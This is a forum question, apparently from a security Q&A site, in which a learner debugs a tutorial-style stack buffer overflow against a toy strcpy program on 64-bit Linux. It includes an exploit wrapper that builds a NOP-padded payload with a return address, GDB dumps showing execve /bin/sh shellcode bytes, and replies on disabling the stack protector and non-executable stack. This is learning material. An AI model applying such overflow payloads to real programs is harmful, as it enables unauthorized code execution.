I am going through this video on buffer overflows but am having some trouble replicating the demo. The issue is that I am getting a segmentation fault when I expect to get a shell at the end. The idea is that the HackYou program runs a shell and I am then running the vulnerable `ExploitMe with GDB in that shell.

I am running this in a 64bit Kali Linux Virtualbox environment with memory randomisation disabled.

So far as aI can tell, all my code matches the demo. One thing I have noticed though is this. 0x0000000000001139 <+4>: sub $0x60,%rsp. In the demo code the size of the buffer variable is 0x50.

96 bytes vs 80 bytes.

From what I understand, the intended return address should be, 0x7fffffffe060.

I can the see the shellcode being introduced to the stack and I can see the new return address shown as intended. But I'm not sure what is preventing it running as intended and spawning a shell within GDB.



main(int argc, char **argv)
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;



char shellcode[] =

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
    char buffer[96]; 
    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=", 4);
    memcpy(buffer+4, shellcode, 24);
    memcpy(buffer+88, retaddr, 4);
    memcpy(buffer+92, "\x00\x00\x00\x00", 4);
    return 0;

disas main

Dump of assembler code for function main:
   0x0000000000001135 <+0>: push   %rbp
   0x0000000000001136 <+1>: mov    %rsp,%rbp
   0x0000000000001139 <+4>: sub    $0x60,%rsp
   0x000000000000113d <+8>: mov    %edi,-0x54(%rbp)
   0x0000000000001140 <+11>:    mov    %rsi,-0x60(%rbp)
   0x0000000000001144 <+15>:    mov    -0x60(%rbp),%rax
   0x0000000000001148 <+19>:    add    $0x8,%rax
   0x000000000000114c <+23>:    mov    (%rax),%rdx
   0x000000000000114f <+26>:    lea    -0x50(%rbp),%rax
   0x0000000000001153 <+30>:    mov    %rdx,%rsi
   0x0000000000001156 <+33>:    mov    %rax,%rdi
   0x0000000000001159 <+36>:    callq  0x1030 <strcpy@plt>
   0x000000000000115e <+41>:    mov    $0x1,%eax
   0x0000000000001163 <+46>:    leaveq 
   0x0000000000001164 <+47>:    retq   
End of assembler dump.

(gdb) run $EGG

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x00000001  0x00000000  0xf7e939b5  0x00007fff
0x7fffffffe080: 0x00000000  0x00000000  0x555551bd  0x00005555
0x7fffffffe090: 0xf7fe42a0  0x00007fff  0x00000000  0x00000000
0x7fffffffe0a0: 0x55555170  0x00005555  0x55555050  0x00005555
0x7fffffffe0b0: 0xffffe1a0  0x00007fff  0x00000000  0x00000000

(gdb) c

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe4d4: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe4e4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe4f4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe504: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe514: 0x90909090  0xffffe060  0x5f534c00  0x4f4c4f43

(gdb) x/40xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe080: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe090: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0c0: 0x90909090  0xffffe060  0xf7e14b00  0x00007fff
0x7fffffffe0d0: 0x00000000  0x00000000  0xffffe1a8  0x00007fff
0x7fffffffe0e0: 0x00040000  0x00000002  0x55555135  0x00005555
0x7fffffffe0f0: 0x00000000  0x00000000  0x12e5cd41  0xd8327cdb

(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
  • 0x7fffffffe060 doesn't look like a typical return address and more like an address poiting to the stack itself and if your code wasn't compiled with execstack then it wouldn't allow to execute code on the stack – Fabiotk Oct 25 '18 at 12:53
  • I compiled like so, gcc -ggdb -o HackYou HackYou.c. Is that not right? – 3therk1ll Oct 25 '18 at 13:07
  • 2
    You need to compile the ExploitMe.c with the options -fno-stack-protector -mpreferred-stack-boundary=4. I'm not saying this is sufficient for you to exploit it but it is necessary to overcome protections that the compile inserts into the binary. – Fabiotk Oct 25 '18 at 13:17
  • Ok thanks. Is this line in the rsp the protection that the compiler puts in? 0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002. That offset seems to be what is throwing the exploit off – 3therk1ll Oct 25 '18 at 13:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.